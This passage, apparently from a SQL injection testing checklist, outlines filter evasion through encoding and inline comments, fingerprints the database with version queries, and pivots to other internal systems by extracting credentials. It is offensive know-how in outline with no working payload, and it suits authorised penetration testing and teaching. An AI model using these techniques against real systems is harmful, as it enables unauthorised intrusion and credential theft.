- Test obfuscation techniques (e.g., mixed case, hex, URL encoding).
- Use inline comments (`/**/`) and alternate encodings to evade filters.
- Database Fingerprinting
- Identify DBMS type and version using tailored queries.
- Example: `SELECT version()` (PostgreSQL), `SELECT @@version` (MySQL/MSSQL).
- Pivoting with SQL Injection
- Compromise the database to access other internal systems.
- Extract credentials or exploit trust relationships between systems.